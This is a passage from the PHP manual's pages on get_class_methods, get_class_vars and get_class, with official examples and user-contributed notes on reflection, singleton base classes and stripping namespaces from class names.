        while($cur_class = get_parent_class($cur_class));
    }
}

class B {

}

class C {

}

$foo = new C();
$foo->get_class_tree();

?>

CBA
danbettles at yahoo dot co dot uk 08-Oct-2008 09:00
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using get_called_class.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>


Gets the class methods' names

  • « get_called_class
  • get_class_vars »
  • PHP Manual
  • Classes/Object Functions
  • Gets the class methods' names

get_class_methods

(PHP 4, PHP 5)

get_class_methods — Gets the class methods' names

Description

array get_class_methods ( mixed $class_name )

Gets the class methods names.

Parameters

class_name

The class name or an object instance

Return Values

Returns an array of method names defined for the class specified by class_name. In case of an error, it returns NULL.

Examples

Example #1 get_class_methods() example

<?php

class myclass {
    // constructor
    function myclass()
    {
        return(true);
    }

    // method 1
    function myfunc1()
    {
        return(true);
    }

    // method 2
    function myfunc2()
    {
        return(true);
    }
}

$class_methods = get_class_methods('myclass');
// or
$class_methods = get_class_methods(new myclass());

foreach ($class_methods as $method_name) {
    echo "$method_name\n";
}

?>

The above example will output:

myclass
myfunc1
myfunc2

See Also

  • get_class() - Returns the name of the class of an object
  • get_class_vars() - Get the default properties of the class
  • get_object_vars() - Gets the properties of the given object

User Contributed Notes

fschmengler at sgh-it dot eu 08-Jan-2010 01:40
It should be noted that the returned methods are dependant on the current scope. See this example:

<?php
class C
{
    private function privateMethod()
    {

    }
    public function publicMethod()
    {

    }
    public function __construct()
    {
        echo '$this:';
        var_dump(get_class_methods($this));
        echo 'C (inside class):';
        var_dump(get_class_methods('C'));
    }
}
$c = new C;
echo '$c:';
var_dump(get_class_methods($c));
echo 'C (outside class):';
var_dump(get_class_methods('C'));
?>

Output:

$this:
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

C (inside class):
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

$c:
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)

C (outside class):
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)
php at stock-consulting dot com 06-Feb-2007 11:40
Note that this function will answer both class AND instance methods ("class methods" are called "static" in PHP). Sort of a little "trap" for people who have in-depth experience with the OO terminology :-)
BoD 15-Mar-2006 04:09
!Concerning PHP5 Only!

If you want to get all methods/functions from a class you can do this with the get_class_methods function.
<?php
    $arrMethodNames = get_class_methods ( $ClassNameOrObject);
?>
However the drawback on this function in PHP5 is that you will NOT receive protected and private methods of a class/object if you are calling the method from another class/object context.

If you want to receive all methods of a given Class in another Class you should use the PHP5 Reflection API. The following source allows to retrieve all methods from a derived class in its (abstract) Base Class.

In the example you need to call the base constructor from the derived classes constructor in order to let the base class know the name of the derived class. Use the "__CLASS__" definition for passing the classname of current class to its base class.

<?php

    // Base Class - Abstract
    abstract class A {

        // Array of ReflectionMethod Objects
        // is being set upon instanciation
        // derived Classes don't need to know about this array
        private $arrMethods;

        // Constructor which MUST be called from derived Class Constructor
        protected function __construct ( $strDerivedClassName ) {
            $oRefl = new ReflectionClass ( $strDerivedClassName );
            if ( is_object($oRefl) ) {
                $this->arrMethods = $oRefl->getMethods();
            }
        }

        // Some abstract function
        abstract protected function D ();

        // Some private function
        private function E() {
        }

        // method to print all class/object methods
        // must be callable from derived classes
        // can be protected if only for internal class use
        public function PrintAllMethods () {
            foreach ( $this->arrMethods as $curReflectionMethod ) {
                echo $curReflectionMethod->getName()."<br>";
            }
        }
    }

    // Derived Class
    class B extends A {

        // Constructor for this class
        // MUST call Base Constructor
        public function __construct () {
            // Call Base Constructor
            parent::__construct(__CLASS__);
        }

        // Some public function
        public function A () {
        }

        // some protected function
        protected function B () {
        }

        // some private function
        private function C() {
        }

        // some abstract method from base class implemented
        protected function D () {
        }
    }

    // Create new B Object
    $b = new B();
    // Print all Methods of this Object/Class
    $b->PrintAllMethods();
?>

In this example output will be:

__construct
A
B
C
D
E
PrintAllMethods

As you can see these are all methods from class B and also all methods from Class A respectivly in order of their declaration. Note that only one method "__construct" and only one method "D" are being shown. This is due to overloading (__construct) and implementing (D) in PHP.

In this example any further method-handling methods should be implemented in the base class as these will be available in derived classes as well. Just make sure that you use the right access specifiers for these additional methods ( private, protected, public )

BoD
jazepstein at greenash dot net dot au 16-Oct-2005 03:37
In PHP4, this function converts its return values to lowercase; but in PHP5, it leaves the return values in their original case. This can cause serious problems when trying to write code that dynamically calls a class method, and that works in both PHP4 and PHP5. This code snippet shows one way of achieving compatibility with both versions:

<?php
// Example variables - these would be dynamic in a real application.
$className = 'SomeClass';
$methodName= 'someMethod';
$args = array('arg1', 'arg2');

// Use array_map() and strtolower() to make all values returned by get_class_methods() lowercase. PHP4 does this anyway - now it will happen regardless of the PHP version being used.
$classMethods = array_map(strtolower, get_class_methods($className));

// in_array() can only handle being given an array.
if (!$classMethods) {
  $classMethods = array();
}

if (in_array(strtolower($methodName), $classMethods)) {
  // call some method
  return call_user_func_array(array($className, $methodName), $args);
}
?>
Oli Filth 11-Apr-2005 05:21
As an extension to onesimus's code below for finding inherited methods, in PHP 5 you can use the Reflection API to find which of these are overriden.

e.g.

<?php
function get_overriden_methods($class)
{
    $rClass = new ReflectionClass($class);
    $array = NULL;

    foreach ($rClass->getMethods() as $rMethod)
    {
        try
        {
            // attempt to find method in parent class
            new ReflectionMethod($rClass->getParentClass()->getName(),
                                $rMethod->getName());
            // check whether method is explicitly defined in this class
            if ($rMethod->getDeclaringClass()->getName()
                == $rClass->getName())
            {
                // if so, then it is overriden, so add to array
                $array[] .=  $rMethod->getName();
            }
        }
        catch (exception $e)
        {    /* was not in parent class! */    }
    }

    return $array;
}
?>
kabatak 20-Feb-2005 02:11
In PHP4, if you need to get_class_methods in their original case. You can use this simple function I created.

// Note: this function assumes that you only have 1 class in 1 file

$file = "path/to/myclass.php"

function file_get_class_methods ($file)
{
    $arr = file($file);
    foreach ($arr as $line)
    {
        if (ereg ('function ([_A-Za-z0-9]+)', $line, $regs))
            $arr_methods[] = $regs[1];
    }
    return $arr_methods;
}
epowell at removethis dot visi dot com 11-Oct-2004 05:47
I've figured out how to get around my issue described below, using the Reflection API.

<?
/* Pass the name of the class, not a declared handler */
function get_public_methods($className) {
    /* Init the return array */
    $returnArray = array();

    /* Iterate through each method in the class */
    foreach (get_class_methods($className) as $method) {

        /* Get a reflection object for the class method */
        $reflect = new ReflectionMethod($className, $method);

        /* For private, use isPrivate().  For protected, use isProtected() */
        /* See the Reflection API documentation for more definitions */
        if($reflect->isPublic()) {
            /* The method is one we're looking for, push it onto the return array */
            array_push($returnArray,$method);
        }
    }

    /* return the array to the caller */
    return $returnArray;
}
?>
onesimus at cox dot net 19-Jun-2004 11:32
This function will return only the methods for the object you indicate. It will strip out the inherited methods.

function get_this_class_methods($class){
    $array1 = get_class_methods($class);
    if($parent_class = get_parent_class($class)){
        $array2 = get_class_methods($parent_class);
        $array3 = array_diff($array1, $array2);
    }else{
        $array3 = $array1;
    }
    return($array3);
}
gk at proliberty dot com 02-Jun-2003 01:16
It is important to note that get_class_methods($class) returns not only methods defined by $class but also the inherited methods.

There does not appear to be any PHP function to determine which methods are inherited and which are defined explicitly by a class.
aldo at cerca dot com 22-Apr-2002 07:18
If you use "get_class_methods" to check if a Method is in a Class remember that the function return lowered name of class methods:

class classPippo
{
        function DummyFunct()
        {
                // Do nothing...
        }
}

$aClassMethods = get_class_methods(classPippo);

$sMethodName = 'DummyFunct';

// This not work...

        if (in_array($sMethodName, $aClassMethods))
        classPippo::DummyFunct();

// This work...

        if (in_array(strtolower($sMethodName), $aClassMethods))
        classPippo::DummyFunct();
matt at zevi dot net 22-Mar-2002 01:46
Win32 only:

It's probably worth noting here that you can't get the methods of an object created by the built-in 'COM' class. ie - this won't work:

$word = new COM('Word.Application');
$methods = get_class_methods(get_class($word));
print_r($methods);

Matt


Get the default properties of the class

  • « get_class_methods
  • get_class »
  • PHP Manual
  • Classes/Object Functions
  • Get the default properties of the class

get_class_vars

(PHP 4, PHP 5)

get_class_vars — Get the default properties of the class

Description

array get_class_vars ( string $class_name )

Get the default properties of the given class.

Parameters

class_name

The class name

Return Values

Returns an associative array of declared properties visible from the current scope, with their default value. The resulting array elements are in the form of varname => value. In case of an error, it returns FALSE.

Changelog

Version | Description
5.0.3 | Depending on the scope, get_class_vars() will only return the properties that can be accessed from the current scope.
5.0.2 | Calling get_class_vars() will now expose all the properties as an array, unlike previous behaviour where protected and private properties were prefixed with nul bytes.
5.0.1 | Calling get_class_vars() will expose all properties, as when converting an object to a class.

Examples

Example #1 get_class_vars() example

<?php

class myclass {

    var $var1; // this has no default value...
    var $var2 = "xyz";
    var $var3 = 100;
    private $var4; // PHP 5

    // constructor
    function myclass() {
        // change some properties
        $this->var1 = "foo";
        $this->var2 = "bar";
        return true;
    }

}

$my_class = new myclass();

$class_vars = get_class_vars(get_class($my_class));

foreach ($class_vars as $name => $value) {
    echo "$name : $value\n";
}

?>

The above example will output:

// Before PHP 4.2.0
var2 : xyz
var3 : 100

// As of PHP 4.2.0
var1 :
var2 : xyz
var3 : 100

Example #2 get_class_vars() and scoping behaviour

<?php
function format($array)
{
    return implode('|', array_keys($array)) . "\r\n";
}

class TestCase
{
    public $a    = 1;
    protected $b = 2;
    private $c   = 3;

    public static function expose()
    {
        echo format(get_class_vars(__CLASS__));
    }
}

TestCase::expose();
echo format(get_class_vars('TestCase'));
?>

The above example will output:

// 5.0.0
a| * b| TestCase c
a| * b| TestCase c

// 5.0.1 - 5.0.2
a|b|c
a|b|c

// 5.0.3 +
a|b|c
a

See Also

  • get_class_methods() - Gets the class methods' names
  • get_object_vars() - Gets the properties of the given object

User Contributed Notes

bof at bof dot de 09-Sep-2012 04:02
I needed to get only the class static variables, leaving out instance variables.

<?php
function get_static_vars($class) {
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>

That function returns only the public ones. The same pattern can be used inside a class, then it returns private and protected static variables, too:

<?php
static protected function get_static_vars($class = NULL) {
    if (!isset($class)) $class = get_called_class();
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>
Mattias Ahlbck 15-Feb-2012 06:39
get_class_vars_assoc()
- Returns an associative array with name of (parent) class(es) as key(s) and corresponding class vars as sub-arrays. My boilerplate for some crude O/R mapping.

Note: vars re-defined in sub-classes are ignored.

<?php

class GrandClass {
    public $grandVar;
    public $in_grand_and_parent;
    public $in_grand_and_child;

    public static function load() {
        print_r(self::get_class_vars_assoc());
    }

    protected static function get_class_vars_assoc() {
        $called = get_called_class();
        //echo "called: $called \n";
        $classVars[$called] = array_keys(get_class_vars($called));

        $parent = get_parent_class($called);
        while ( $parent !== FALSE ) {
            //echo "parent: $parent \n";
            $classVars[$parent] = array_keys(get_class_vars($parent));
            $classVars[$called] = array_diff($classVars[$called],
                                             $classVars[$parent]);
            if ( isset($prevParentVars) ) {
                $prevParentVars = array_diff($prevParentVars,
                                             $classVars[$parent]);
            }

            $prevParentVars = &$classVars[$parent];
            $parent = get_parent_class($parent);
        }

        return $classVars;
    }
}

class ParentClass extends GrandClass {
    public $in_grand_and_parent;
    public $parentVar;
    public $in_parent_and_child;
}

class ChildClass extends ParentClass {
    public $in_grand_and_child;
    public $in_parent_and_child;
    public $childVar;
}

ChildClass::load();

?>

Array
(
    [ChildClass] => Array
        (
            [2] => childVar
        )

    [ParentClass] => Array
        (
            [1] => parentVar
            [2] => in_parent_and_child
        )

    [GrandClass] => Array
        (
            [0] => grandVar
            [1] => in_grand_and_parent
            [2] => in_grand_and_child
        )

)
ciantic 31-Jan-2012 07:06
I propse following for getting Public members, always:
<?PHP
if (!function_exists("get_public_class_vars")) {
    function get_public_class_vars($class) {
        return get_class_vars($class);
    }
}
if (!function_exists("get_public_object_vars")) {
    function get_public_object_vars($object) {
        return get_object_vars($object);
    }
}
?>

This is to mitigate the problem and a feature that get_object_vars($this) returns private members. Running it simply outside the scope will get the public.

Iterating public members only and their defaults are enormously useful in e.g. in serialization classes such as options where each public member is an serializable that is saved and loaded.
pBakhuis at Gmail dot com 07-Oct-2011 12:08
If you need the variables before the class is included this function does not seem to work.
Use a reflection class to get around this.
http://www.php.net/reflectionclass
ken at verango dot com 04-Oct-2010 01:50
All 3 of get_object_vars, get_class_vars and reflection getDefaultProperties will reveal the name of the array.  For serialization I recommend:

<?php
$cName = get_class($this);
$varTemplate= get_class_vars($cName)
foreach ($varTemplate as $name => $defaultVal) {
  $vars[$name] = $this->$name; // gets actual val.
}
?>

No scan the $vars and create serialization string how you wish.

This protects against erroneous prior deserializing in maintaining the integrity of the class template and ignoring unintended object properties.
ianitsky at gmail dot com 10-Nov-2009 08:53
If you need get the child protected/private vars ignoring the parent vars, use like this:

<?php
class childClass extends parentClass {
    private $login;
    private $password;

    public function __set($key, $val) {
        if ($key == 'password')
            $this->$key = md5($val);
        else
            $this->$key = $val;
    }
}
class parentClass {
    public $name;
    public $email;

    function __construct() {
        $reflection = new ReflectionClass($this);
        $vars = array_keys($reflection->getdefaultProperties());
        $reflection = new ReflectionClass(__CLASS__);
        $parent_vars = array_keys($reflection->getdefaultProperties());

        $my_child_vars = array();
        foreach ($vars as $key) {
            if (!in_array($key, $parent_vars)) {
                $my_child_vars[] = $key;
            }
        }

        print_r($my_child_vars);
    }
}

$child_class = new childClass();
?>
harmor 21-Dec-2008 12:53
So I wanted to get a list of the public parameters in a child class using a static function pre-5.3.0 (< 5.3.0).  In 5.3.0+ you would use the new 'static' like you would 'self' to get the late binding.

<?php
class childClass extends parentClass
{
    public $id;
    public $name;

    public static function getFields()
    {
        return self::_getFields(__CLASS__);
    }

}
abstract class parentClass
{
    public $idInParent;
    public $nameInParent;

    abstract public static function getFields();

    final protected static function _getFields($className)
    {
        $rtn = array();
        foreach (array_keys(get_class_vars($className)) as $var) {
            $rtn[] = $var;
        }
        return $rtn;
    }

}

var_dump(childClass::getFields());
?>

Results:
array(4) {
  [0]=>
  string(2) "id"
  [1]=>
  string(4) "name"
  [2]=>
  string(10) "idInParent"
  [3]=>
  string(12) "nameInParent"
}
artktec at art-k-tec dot com 16-Nov-2007 06:18
There seems to be be a function to get constants missing , i.e. get_class_constants() ... so here is a simple function for you all. Hopefully Zend will include this in the next round as a native php call, without using reflection.

<?php
   function GetClassConstants($sClassName) {
      $oClass = new ReflectionClass($sClassName);
      return $oClass->getConstants());
   }
?>
phpnet at stccorp dot net 15-Jun-2007 02:18
This is one of the best php functions. Look at what you can do

class Object
{
   var $updtFields;//keep track of affected values
   function Object($record="") {
       if (is_array($record))
       {
          $this->updtFields = array();
          foreach(array_keys(get_class_vars(get_class($this))) as $k)
          if (isset($record[$k]))
         {
          $this->$k = $record[$k];
          $this->updtFields[] = $k;
         }
      }
   }//end of arrayToObject

   function toDebug($nl='<br>')
   {
       foreach(array_keys(get_class_vars(get_class($this))) as $k)
       echo "$k = [" . $this->$k . "]{$nl}";
    }//end of toDebug
}

Now you can do really cool things. If you have a form like
<form action="" method="post">
  <input type="text" name="name" />
  <input type="text" name="phone" />
  <input type="submit" />
</form>

and you define your class like this
class Person extends Object{
  var $name; //same same as in the form
  var $phone;
}

when you submmit the form, you can get the data like

$person = new Person($_POST);

//everything in just one line,cool!! Also if you use pear db or adodb when you get data from the database you can do the same thing except use the $row that you get from the database. Remember to ask the result is associative mode.

This is my core Object for everthing I do and it works great.
bernd at tiggerswelt dot net 29-Jan-2007 11:52
If you assign a constant value using the self-scope by default to a variable, get_class_vars() will result in a FATAL error.

Example:

<?PHP

  class Foo {
    const Bar = "error";

    public $Foo = self::Bar;
  }

  print_r(get_class_vars("Foo"));

?>

... but using "Foo::Bar" instead "self::Bar" will work ;)
gizmobits at hotmail dot com 04-Mar-2006 04:48
I wanted a simple ToString() function that was automatic and class independent.  I wanted to dump it into any of several classes and get values quickly.  I wanted to leave it there so I could customize it for each class, so an outside function wasn't suitable.  I came up with this and thought it might be useful.  Have fun!

<?php
  function ToString () {
    $s = "";
    $s .= "<table>\n";
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    foreach (get_class_vars(get_class($this)) as $name => $value) {
      $s .= "<tr><td>$name:</td><td>" . $this->$name . "</td></tr>\n";
    }
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    $s .= "</table>\n";
    return $s;
  }

?>
php dot net at sharpdreams dot com 25-Oct-2005 03:25
Contrary to multiple comments throughout the manual, get_class_vars() performed within a class can access any public, protected, and private members.

<?php
class Foo {
   public $x;
   protected $y;
   private $z;
   public function __sleep() {
      return( get_class_vars( __CLASS__ ) );
   }
}
?>

works fine (returns x, y, & z). However, given the same class as above,

<?php
print_r( get_class_vars( "Foo" ) );
?>

will NOT return x, y, & z. Instead it will only return the public members (in our case, z).
alan_k at php dot net 22-Jan-2005 04:23
in PHP5 to get all the vars (including private etc.) use:

$reflection = new ReflectionClass($class);
$defaults = $reflection->getdefaultProperties();
rec at NOSPAM dot instantmassacre dot com 24-Jan-2003 01:23
If you want to retrieve the class vars from within the class itself, use $this.

<?php
class Foo {

    var $a;
    var $b;
    var $c;
    var $d;
    var $e;

    function GetClassVars()
    {
        return array_keys(get_class_vars(get_class($this))); // $this
    }

}

$Foo = new Foo;

$class_vars = $Foo->GetClassVars();

foreach ($class_vars as $cvar)
{
    echo $cvar . "<br />\n";
}
?>

Produces, after PHP 4.2.0, the following:

a
b
c
d
e


Returns the name of the class of an object

  • « get_class_vars
  • get_declared_classes »
  • PHP Manual
  • Classes/Object Functions
  • Returns the name of the class of an object

get_class

(PHP 4, PHP 5)

get_class — Returns the name of the class of an object

Description

string get_class ([ object $object = NULL ] )

Gets the name of the class of the given object.

Parameters

object

The tested object. This parameter may be omitted when inside a class.

Return Values

Returns the name of the class of which object is an instance. Returns FALSE if object is not an object.

If object is omitted when inside a class, the name of that class is returned.

Errors/Exceptions

If get_class() is called with anything other than an object, an E_WARNING level error is raised.

Changelog

Version | Description
5.3.0 | NULL became the default value for object, so passing NULL to object now has the same result as not passing any value.

Examples

Example #1 Using get_class()

<?php

class foo {
    function name()
    {
        echo "My name is " , get_class($this) , "\n";
    }
}

// create an object
$bar = new foo();

// external call
echo "Its name is " , get_class($bar) , "\n";

// internal call
$bar->name();

?>

The above example will output:

Its name is foo
My name is foo

Example #2 Using get_class() in superclass

<?php

abstract class bar {
    public function __construct()
    {
        var_dump(get_class($this));
        var_dump(get_class());
    }
}

class foo extends bar {
}

new foo;

?>

The above example will output:

string(3) "foo"
string(3) "bar"

See Also

  • get_called_class() - the "Late Static Binding" class name
  • get_parent_class() - Retrieves the parent class name for object or class
  • gettype() - Get the type of a variable
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

jjanak at webperfection dot net 03-Oct-2014 08:06
>= 5.5

::class
fully qualified class name, instead of get_class

<?php
namespace my\library\mvc;

class Dispatcher {}

print Dispatcher::class; // FQN == my\library\mvc\Dispatcher

$disp = new Dispatcher;

print $disp::class; // parse error
Anonymous 19-Sep-2014 05:55
If you want the path to an file if you have i file structure like this

project -> system -> libs -> controller.php
project -> system -> modules -> foo -> foo.php

and foo() in foo.php extends controller() in controller.php like this

<?PHP
namespace system\modules\foo;

class foo extends \system\libs\controller {
    public function __construct() {
        parent::__construct();
    }
}
?>

and you want to know the path to foo.php in controller() this may help you

<?PHP
namespace system\libs;

class controller {
    protected function __construct() {
        $this->getChildPath();
    }
    protected function getChildPath() {
        echo dirname(get_class($this));
    }
}
?>

<?PHP
$f = new foo();  // system\modules\foo
?>
var23rav at gmail dot com 27-Aug-2014 10:52
class A
{
function __construct(){
        //parent::__construct();
        echo $this->m =  'From constructor A: '.get_class();
        echo $this->m =  'From constructor A:- argument = $this: '.get_class($this);

        echo $this->m =  'From constructor A-parent: '.get_parent_class();
        echo $this->m =  'From constructor A-parent:- argument =  $this: '.get_parent_class($this);
    }
}
class B extends A
{
function __construct(){
        parent::__construct();
        echo $this->m =  'From constructor B: '.get_class();
        echo $this->m =  'From constructor B:- argument =  $this: '.get_class($this);

        echo $this->m =  'From constructor B-parent: '.get_parent_class();
        echo $this->m =  'From constructor B-parent:- argument =  $this: '.get_parent_class($this);
    }
}
$b = new B();
//----------------output--------------------

From constructor A: A
From constructor A:- argument = $this: B
From constructor A-parent:
From constructor A-parent:- argument = $this: A
From constructor B: B
From constructor B:- argument = $this: B
From constructor B-parent: A
From constructor B-parent:- argument = $this: A

Use get_class() to get the name of class  ,it will help you get the class name, in case you extend that class with another class and want to get the name of the class to which object is instance of user get_class($object)

when you create an object of class{$b object of B} which has a super class{Class A}.
uses these code IN Super Class {A}
--------------------------------------------
to get class name B{object instance} :  get_class($this)
to get class name A{super class}  : get_class() or get_parent_class($this)
alastair at propcom dot co dot uk 20-May-2014 05:12
Not mentioned are namespaces. get_class() returns the class in a suitable format to be used to look up the class again, i.e. 'Namespace\Class_Name'.

Explode on '\\' to get the components.
dave at shax dot com 07-Mar-2014 01:36
A lot of people in other comments wanting to get the classname without the namespace. Some weird suggestions of code to do that - not what I would've written! So wanted to add my own way.

<?php
function get_class_name($classname)
{
    if ($pos = strrpos($classname, '\\')) return substr($classname, $pos + 1);
    return $pos;
}
?>

Also did some quick benchmarking, and strrpos() was the fastest too. Micro-optimisations = macro optimisations!

39.0954 ms - preg_match()
28.6305 ms - explode() + end()
20.3314 ms - strrpos()

(For reference, here's the debug code used. c() is a benchmarking function that runs each closure run 10,000 times.)

<?php
c(
    function($class = 'a\b\C') {
        if (preg_match('/\\\\([\w]+)$/', $class, $matches)) return $matches[1];
        return $class;
    },
    function($class = 'a\b\C') {
        $bits = explode('\\', $class);
        return end($bits);
    },
    function($class = 'a\b\C') {
        if ($pos = strrpos($class, '\\')) return substr($class, $pos + 1);
        return $pos;
    }
);
?>
Nanhe Kumar 20-Dec-2013 09:14
<?php
class Parent{
}
class Child extends Parent{
}
$c = new Child();
echo get_class($c) //Child
?>
<?php
class Parent{
  public function getClass(){
     echo get_class();
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); //outputs Parent
?>
<?php
class Parent{
  public function getClass(){
     echo get_class($this);
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); // Parent
?>
emmanuel dot antico at gmail dot com 11-May-2013 04:35
/**
 * Obtains an object class name without namespaces
 */
function get_real_class($obj) {
    $classname = get_class($obj);

    if (preg_match('@\\\\([\w]+)$@', $classname, $matches)) {
        $classname = $matches[1];
    }

    return $classname;
}
macnimble at gmail dot com 18-Mar-2012 04:24
Need a quick way to parse the name of a class when it's namespaced? Try this:

<?php
namespace Engine;
function parse_classname ($name)
{
  return array(
    'namespace' => array_slice(explode('\\', $name), 0, -1),
    'classname' => join('', array_slice(explode('\\', $name), -1)),
  );
}
final class Kernel
{
  final public function __construct ()
  {
    echo '<pre>', print_r(parse_classname(__CLASS__),1), '</pre>';
    // Or this for a one-line method to get just the classname:
    // echo join('', array_slice(explode('\\', __CLASS__), -1));
  }
}
new Kernel();
?>

Outputs:
Array
(
    [namespace] => Array
        (
            [0] => Engine
        )

    [classname] => Kernel
)
mail dot temc at gmail dot com 06-Dec-2011 11:51
People seem to mix up what __METHOD__, get_class($obj) and get_class() do, related to class inheritance.

Here's a good example that should fix that for ever:

<?php

class Foo {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

class Bar extends Foo {

}

class Quux extends Bar {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

$foo = new Foo();
$bar = new Bar();
$quux = new Quux();

echo "\n--doMethod--\n";

$foo->doMethod();
$bar->doMethod();
$quux->doMethod();

echo "\n--doGetClassThis--\n";

$foo->doGetClassThis();
$bar->doGetClassThis();
$quux->doGetClassThis();

echo "\n--doGetClass--\n";

$foo->doGetClass();
$bar->doGetClass();
$quux->doGetClass();

?>

OUTPUT:

--doMethod--
Foo::doMethod
Foo::doMethod
Quux::doMethod

--doGetClassThis--
Foo::doThat
Bar::doThat
Quux::doThat

--doGetClass--
Foo::doThat
Foo::doThat
Quux::doThat
ozana at omdesign dot cz 28-Nov-2011 04:53
Simplest way how to gets Class without namespace

<?php
namespace a\b\c\d\e\f;

class Foo {

  public function __toString() {
    $class = explode('\\', __CLASS__);
    return end($class);
  }
}

echo new Foo(); // prints Foo
?>
Michael Richey 31-Oct-2011 09:01
Attempting various singleton base class methods described on this page, I have created a base class and bridge function that allows it to work without get_called_class() if it's not available.  Unlike other methods listed here, I chose not to prevent use of __construct() or __clone().

<?php
abstract class Singleton {
    protected static $m_pInstance;
    final public static function getInstance(){
        $class = static::getClass();
        if(!isset(static::$m_pInstance[$class])) {
            static::$m_pInstance[$class] = new $class;
        }
        return static::$m_pInstance[$class];
    }
    final public static function getClass(){
        return get_called_class();
    }
}

// I don't remember where I found this, but this is to allow php < 5.3 to use this method.
if (!function_exists('get_called_class')) {
    function get_called_class($bt = false, $l = 1) {
        if (!$bt)
            $bt = debug_backtrace();
        if (!isset($bt[$l]))
            throw new Exception("Cannot find called class -> stack level too deep.");
        if (!isset($bt[$l]['type'])) {
            throw new Exception('type not set');
        }
        else
            switch ($bt[$l]['type']) {
                case '::':
                    $lines = file($bt[$l]['file']);
                    $i = 0;
                    $callerLine = '';
                    do {
                        $i++;
                        $callerLine = $lines[$bt[$l]['line'] - $i] . $callerLine;
                    } while (stripos($callerLine, $bt[$l]['function']) === false);
                    preg_match('/([a-zA-Z0-9\_]+)::' . $bt[$l]['function'] . '/', $callerLine, $matches);
                    if (!isset($matches[1])) {
                        // must be an edge case.
                        throw new Exception("Could not find caller class: originating method call is obscured.");
                    }
                    switch ($matches[1]) {
                        case 'self':
                        case 'parent':
                            return get_called_class($bt, $l + 1);
                        default:
                            return $matches[1];
                    }
                // won't get here.
                case '->': switch ($bt[$l]['function']) {
                        case '__get':
                            // edge case -> get class of calling object
                            if (!is_object($bt[$l]['object']))
                                throw new Exception("Edge case fail. __get called on non object.");
                            return get_class($bt[$l]['object']);
                        default: return $bt[$l]['class'];
                    }

                default: throw new Exception("Unknown backtrace method type");
            }
    }
}

class B extends Singleton {
}

class C extends Singleton {
}

$b = B::getInstance();
echo 'class: '.get_class($b);

echo '<br />';

$c = C::getInstance();
echo echo 'class: '.get_class($c);
?>
This returns:
class: b
class: c
me at nwhiting dot com 06-Dec-2010 05:14
Method for pulling the name of a class with namespaces pre-stripped.

<?php
/**
 * Returns the name of a class using get_class with the namespaces stripped.
 * This will not work inside a class scope as get_class() a workaround for
 * that is using get_class_name(get_class());
 *
 * @param  object|string  $object  Object or Class Name to retrieve name

 * @return  string  Name of class with namespaces stripped
 */
function get_class_name($object = null)
{
    if (!is_object($object) && !is_string($object)) {
        return false;
    }

    $class = explode('\\', (is_string($object) ? $object : get_class($object)));
    return $class[count($class) - 1];
}
?>

And for everyone for Unit Test goodiness!

<?php
namespace testme\here;

class TestClass {

    public function test()
    {
       return get_class_name(get_class());
    }
}

class GetClassNameTest extends \PHPUnit_Framework_TestCase
{
    public function testGetClassName()
    {
        $class  = new TestClass();
        $std  = new \stdClass();
        $this->assertEquals('TestClass', get_class_name($class));
        $this->assertEquals('stdClass', get_class_name($std));
        $this->assertEquals('Test', get_class_name('Test'));
        $this->assertFalse(get_class_name(null));
        $this->assertFalse(get_class_name(array()));
        $this->assertEquals('TestClass', $class->test());
    }
}
?>
Aaron 18-Jun-2010 08:14
This can sometimes be used in place of get_called_class(). I used this function in a parent class to get the name of the class that extends it.
ovidiu.bute [at] gmail.com 06-Apr-2010 07:23
If you are using namespaces this function will return the name of the class including the namespace, so watch out if your code does any checks for this. Ex:

namespace Shop;

<?php
class Foo
{
  public function __construct()
  {
     echo "Foo";
  }
}

//Different file

include('inc/Shop.class.php');

$test = new Shop\Foo();
echo get_class($test);//returns Shop\Foo
?>
Tom Brown 17-Sep-2009 08:02
As of 5.3.0 this function seems to have started throwing an E_WARNING error if you pass it a non-object. Supress that with "@" if you are actually checking and handling the false return code.
Lanselot 11-Feb-2009 11:09
Beware if you're omitting the parameter on inherited classes.
It'll return the class name of the method where it's called.

<?php
class A {
    function foo() {
      return get_class();
    }
}
class B extends A {
   function bar() {
      return get_class();
   }
}
$instance = new B();
echo $instance->bar(); //Prints 'B';
echo $instance->foo(); //Prints 'A';
?>
danbettles at yahoo dot co dot uk 08-Oct-2008 08:56
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using the new get_called_class function.  When called in a static method, this function returns the name of the class the call was made against.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
